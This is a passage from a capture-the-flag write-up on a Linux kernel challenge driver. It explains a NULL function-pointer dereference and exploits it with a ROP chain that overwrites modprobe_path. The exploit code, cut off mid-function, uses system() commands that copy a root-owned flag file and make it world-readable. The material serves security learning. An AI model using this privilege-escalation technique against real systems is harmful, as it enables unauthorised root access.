id=\"the-vulnerability\"\u003eThe vulnerability:\u003c/h2\u003e\n\u003cp\u003eg_handler is a global variable, meaning it persists when you call open,ioctl,close.\u003c/p\u003e\n\u003cp\u003ethe vulnerability appears when we open two file devices then close one of them, making g_handler == 0x0, but we can still try to use it as a function pointer in zero_ioctl, which will make this a \u003ca href=\"https://security.stackexchange.com/questions/270612/null-dereference-why-does-it-work\"\u003ekernel null byte deference vulnerability\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eto trigger it:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/dev/chal\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efd2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/dev/chal\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// g_hanler is now equal to lang_table\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#75af00\"\u003eclose\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// g_handler == 0x0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#75af00\"\u003eioctl\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// this will derefrence g_handler (which is 0x0) and jmp to that address. \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"exploitation\"\u003eExploitation:\u003c/h2\u003e\n\u003cp\u003enormally, exploiting this would be impossible because of two reasons (both of them are disabled):\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003emmap_min_addr: mmap_min_addr is always \u0026gt; 0 (it’s 0x10000 on my machine). which means that userland processes can not map a page into 0x0 address preventing the kernel null byte deference. but in this chall it’s set to 0 by \u003ccode\u003eecho 0 \u0026gt; /proc/sys/vm/mmap_min_addr\u003c/code\u003e .\u003c/li\u003e\n\u003cli\u003esmap: prevents the kernel from accessing userland memory.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eso now if we mmap a page at 0x0 and cause the vulnerability we should be able to direct execution anywhere we want by writing the desired address at 0x0.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emmap\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePROT_READ\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePROT_WRITE\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePROT_EXEC\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_PRIVATE\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_ANONYMOUS\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_FIXED\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#75715e\"\u003e// MAP_FIXED is required so it would map the page to 0x0.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x41414141\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/dev/chal\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efd2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/dev/chal\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003eclose\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003eioctl\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eby running this, we get:\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/images/Screenshot_from_2025-02-23_11-41-40.png\"\n  alt=\"Screenshot from 2025-02-23 11-41-40.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003eyou can see that it faulted at 0x41414141\u003c/p\u003e\n\u003cp\u003esince smap is disabled we will simply make a rop chain (kaslr is disabled, no need for leak) in userland memory and pivot to it (this surprisingly took a long time to do).\u003c/p\u003e\n\u003cp\u003ethe gadget i chose is: \u003ccode\u003e0xffffffff81037fbf: mov esp, 0x39e8825b; ret\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003ei used \u003ca href=\"https://github.com/zolutal/kropr\"\u003ekropr\u003c/a\u003e to search for this gadget, because ROPGadget gave me gadgets from non executable memory.\u003c/p\u003e\n\u003cp\u003eafter this, i mmap’ed \u003ccode\u003e0x39e88000\u003c/code\u003e and wrote my rop chain in there.\u003c/p\u003e\n\u003cp\u003ethe rop chain overwrites modprobe path to point to \u003ccode\u003e/home/user/pwnaa\u003c/code\u003e .\u003c/p\u003e\n\u003cp\u003ehere is the final exploit:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e       \u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;fcntl.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;sys/ioctl.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;assert.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;sys/mman.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003esigsegv_handler\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esig\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;[*] Returned to userland, setting up for fake modprobe\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esystem\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;echo \u0026#39;#!/bin/sh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ecp /root/flag /home/user/flag\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003echmod 777 /home/user/flag\u0026#39; \u0026gt; /home/user/pwnaa\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esystem\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;chmod +x /home/user/pwnaa\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esystem\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;echo -ne \u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\\\\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003exff\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\\\\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003exff\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\\\\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003exff\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\\\\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003exff\u0026#39; \u0026gt; /home/user/dummy\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esystem\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;chmod +x /home/user/dummy\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;[*] Run unknown file\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esystem\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/home/user/dummy\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;[*] Hopefully flag is readable\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esystem\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;cat /home/user/flag\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_cs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_ss\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_rflags\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_sp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_rip\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esigsegv_handler\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003esave_state\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003e__asm__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#d88200\"\u003e\u0026#34;.intel_syntax noprefix;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#d88200\"\u003e\u0026#34;mov user_cs, cs;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#d88200\"\u003e\u0026#34;mov user_ss, ss;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#d88200\"\u003e\u0026#34;mov user_sp, rsp;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#d88200\"\u003e\u0026#34;pushf;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#d88200\"\u003e\u0026#34;pop user_rflags;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#d88200\"\u003e\u0026#34;.att_syntax;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;[*] Saved state\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emain\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eargc\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eargv\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[])\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esignal\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eSIGSEGV\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esigsegv_handler\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eaddr2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emmap\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x39e88000\u003c/span\u003e\u003cspan 